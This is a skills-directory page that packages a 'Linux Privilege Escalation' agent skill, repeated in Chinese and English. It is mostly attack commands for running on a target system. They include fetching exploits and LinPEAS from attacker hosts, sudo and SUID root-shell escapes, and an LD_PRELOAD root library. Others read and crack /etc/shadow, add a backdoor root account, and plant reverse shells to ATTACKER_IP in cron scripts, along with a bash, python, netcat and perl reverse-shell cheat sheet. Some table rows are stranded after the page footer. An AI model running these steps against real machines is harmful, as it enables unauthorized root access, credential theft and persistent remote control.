Linux Privilege Escalation by davila7/claude-code-templates
npx skills add https://github.com/davila7/claude-code-templates --skill 'Linux Privilege Escalation'在 Linux 系统上执行系统性的权限提升评估,以识别和利用配置错误、易受攻击的服务以及安全弱点,从而允许从低权限用户访问提升到 root 级别控制。此技能支持对内核漏洞、sudo 配置错误、SUID 二进制文件、cron 作业、能力、PATH 劫持和 NFS 弱点进行全面枚举和利用。
收集用于漏洞研究的基本系统详细信息:
# 主机名和系统角色
hostname
# 内核版本和架构
uname -a
# 详细内核信息
cat /proc/version
# 操作系统详细信息
cat /etc/issue
cat /etc/*-release
# 架构
arch
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
# 当前用户上下文
whoami
id
# 具有登录 shell 的用户
cat /etc/passwd | grep -v nologin | grep -v false
# 具有主目录的用户
cat /etc/passwd | grep home
# 组成员身份
groups
# 其他已登录用户
w
who
# 网络接口
ifconfig
ip addr
# 路由表
ip route
# 活动连接
netstat -antup
ss -tulpn
# 监听服务
netstat -l
# 所有正在运行的进程
ps aux
ps -ef
# 进程树视图
ps axjf
# 以 root 身份运行的服务
ps aux | grep root
# 完整环境
env
# PATH 变量(用于劫持)
echo $PATH
部署自动化脚本进行全面枚举:
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh -t
# Linux Smart Enumeration
./lse.sh -l 1
# Linux Exploit Suggester
./les.sh
将脚本传输到目标系统:
# 在攻击者机器上
python3 -m http.server 8000
# 在目标机器上
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
uname -r
cat /proc/version
# 使用 Linux Exploit Suggester
./linux-exploit-suggester.sh
# 在 exploit-db 上手动搜索
searchsploit linux kernel [version]
| 内核版本 | 漏洞利用 | CVE |
|---|---|---|
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
| 5.8+ | Dirty Pipe | CVE-2022-0847 |
# 传输漏洞利用源代码
wget http://ATTACKER_IP/exploit.c
# 在目标上编译
gcc exploit.c -o exploit
# 执行
./exploit
sudo -l
参考 https://gtfobins.github.io 获取利用命令:
# 示例:使用 sudo 的 vim
sudo vim -c ':!/bin/bash'
# 示例:使用 sudo 的 find
sudo find . -exec /bin/sh \; -quit
# 示例:使用 sudo 的 awk
sudo awk 'BEGIN {system("/bin/bash")}'
# 示例:使用 sudo 的 python
sudo python -c 'import os; os.system("/bin/bash")'
# 示例:使用 sudo 的 less
sudo less /etc/passwd
!/bin/bash
当 env_keep 包含 LD_PRELOAD 时:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
# 编译共享库
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# 使用 sudo 执行
sudo LD_PRELOAD=/tmp/shell.so find
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
参考 GTFOBins 获取 SUID 利用方法:
# 示例:用于文件读取的 base64
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d
# 示例:用于文件写入的 cp
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p
# 示例:具有 SUID 的 find
find . -exec /bin/sh -p \; -quit
# 读取 shadow 文件(如果 base64 具有 SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt
# 在攻击者机器上
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# 生成密码哈希
openssl passwd -1 -salt new newpassword
# 添加到 /etc/passwd(使用 SUID 编辑器)
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
getcap -r / 2>/dev/null
# 示例:具有 cap_setuid 的 python
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# 示例:具有 cap_setuid 的 vim
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
# 示例:具有 cap_setuid 的 perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# 系统 crontab
cat /etc/crontab
# 用户 crontabs
ls -la /var/spool/cron/crontabs/
# Cron 目录
ls -la /etc/cron.*
# Systemd 定时器
systemctl list-timers
# 从 /etc/crontab 中识别可写的 cron 脚本
ls -la /opt/backup.sh # 检查权限
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
# 如果 cron 引用了可写 PATH 中不存在的脚本
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh
# 查找调用外部命令的 SUID 二进制文件
strings /usr/local/bin/suid-binary
# 显示:system("service apache2 start")
# 通过在可写的 PATH 中创建恶意二进制文件进行劫持
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/suid-binary # 执行 SUID 二进制文件
# 在目标上 - 查找 no_root_squash 选项
cat /etc/exports
# 在攻击者上 - 挂载共享并创建 SUID 二进制文件
showmount -e TARGET_IP
mount -o rw TARGET_IP:/share /tmp/nfs
# 创建并编译 SUID shell
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
# 在目标上 - 执行
/share/shell
| 目的 | 命令 |
|---|---|
| 内核版本 | uname -a |
| 当前用户 | id |
| Sudo 权限 | sudo -l |
| SUID 文件 | find / -perm -u=s -type f 2>/dev/null |
| 能力 | getcap -r / 2>/dev/null |
| Cron 作业 | cat /etc/crontab |
| 可写目录 | find / -writable -type d 2>/dev/null |
| NFS 导出 | cat /etc/exports |
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc -e /bin/bash ATTACKER_IP 4444
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
场景:用户对 find 命令具有 sudo 权限
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
场景:base64 二进制文件设置了 SUID 位
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# 使用 john 离线破解
$ john --wordlist=rockyou.txt shadow.txt
场景:Root cron 作业执行可写脚本
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# 等待 1 分钟
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
| 问题 | 解决方案 |
|---|---|
| 漏洞利用编译失败 | 检查 gcc:which gcc;在攻击者上为相同架构编译;使用 gcc -static |
| 反向 shell 未连接 | 检查防火墙;尝试端口 443/80;使用分阶段有效负载;检查出口过滤 |
| SUID 二进制文件不可利用 | 验证版本是否与 GTFOBins 匹配;检查 AppArmor/SELinux;某些二进制文件会丢弃权限 |
| Cron 作业未执行 | 验证 cron 是否运行:service cron status;检查 +x 权限;验证 crontab 中的 PATH |
每周安装次数
–
仓库
GitHub 星标
23.4K
首次出现
–
安全审计
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
Gather fundamental system details for vulnerability research:
# Hostname and system role
hostname
# Kernel version and architecture
uname -a
# Detailed kernel information
cat /proc/version
# Operating system details
cat /etc/issue
cat /etc/*-release
# Architecture
arch
# Current user context
whoami
id
# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false
# Users with home directories
cat /etc/passwd | grep home
# Group memberships
groups
# Other logged-in users
w
who
# Network interfaces
ifconfig
ip addr
# Routing table
ip route
# Active connections
netstat -antup
ss -tulpn
# Listening services
netstat -l
# All running processes
ps aux
ps -ef
# Process tree view
ps axjf
# Services running as root
ps aux | grep root
# Full environment
env
# PATH variable (for hijacking)
echo $PATH
Deploy automated scripts for comprehensive enumeration:
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh -t
# Linux Smart Enumeration
./lse.sh -l 1
# Linux Exploit Suggester
./les.sh
Transfer scripts to target system:
# On attacker machine
python3 -m http.server 8000
# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
uname -r
cat /proc/version
# Use Linux Exploit Suggester
./linux-exploit-suggester.sh
# Manual search on exploit-db
searchsploit linux kernel [version]
| Kernel Version | Exploit | CVE |
|---|---|---|
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
| 5.8+ | Dirty Pipe | CVE-2022-0847 |
# Transfer exploit source
wget http://ATTACKER_IP/exploit.c
# Compile on target
gcc exploit.c -o exploit
# Execute
./exploit
sudo -l
Reference https://gtfobins.github.io for exploitation commands:
# Example: vim with sudo
sudo vim -c ':!/bin/bash'
# Example: find with sudo
sudo find . -exec /bin/sh \; -quit
# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'
# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'
# Example: less with sudo
sudo less /etc/passwd
!/bin/bash
When env_keep includes LD_PRELOAD:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
# Compile shared library
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
Reference GTFOBins for SUID exploitation:
# Example: base64 for file reading
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d
# Example: cp for file writing
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p
# Example: find with SUID
find . -exec /bin/sh -p \; -quit
# Read shadow file (if base64 has SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt
# On attacker machine
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Generate password hash
openssl passwd -1 -salt new newpassword
# Add to /etc/passwd (using SUID editor)
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
getcap -r / 2>/dev/null
# Example: python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Example: vim with cap_setuid
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
# Example: perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# System crontab
cat /etc/crontab
# User crontabs
ls -la /var/spool/cron/crontabs/
# Cron directories
ls -la /etc/cron.*
# Systemd timers
systemctl list-timers
# Identify writable cron script from /etc/crontab
ls -la /opt/backup.sh # Check permissions
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
# If cron references non-existent script in writable PATH
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh
# Find SUID binary calling external command
strings /usr/local/bin/suid-binary
# Shows: system("service apache2 start")
# Hijack by creating malicious binary in writable PATH
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/suid-binary # Execute SUID binary
# On target - look for no_root_squash option
cat /etc/exports
# On attacker - mount share and create SUID binary
showmount -e TARGET_IP
mount -o rw TARGET_IP:/share /tmp/nfs
# Create and compile SUID shell
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
# On target - execute
/share/shell
| Purpose | Command |
|---|---|
| Kernel version | uname -a |
| Current user | id |
| Sudo rights | sudo -l |
| SUID files | find / -perm -u=s -type f 2>/dev/null |
| Capabilities | getcap -r / 2>/dev/null |
| Cron jobs | cat /etc/crontab |
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc -e /bin/bash ATTACKER_IP 4444
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
Scenario : User has sudo rights for find command
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
Scenario : base64 binary has SUID bit set
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
Scenario : Root cron job executes writable script
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
| Issue | Solutions |
|---|---|
| Exploit compilation fails | Check for gcc: which gcc; compile on attacker for same arch; use gcc -static |
| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |
| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |
| Cron job not executing | Verify cron running: service cron status; check +x permissions; verify PATH in crontab |
Weekly Installs
–
Repository
GitHub Stars
23.4K
First Seen
–
Security Audits
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
28,800 周安装
| Writable dirs | find / -writable -type d 2>/dev/null |
| NFS exports | cat /etc/exports |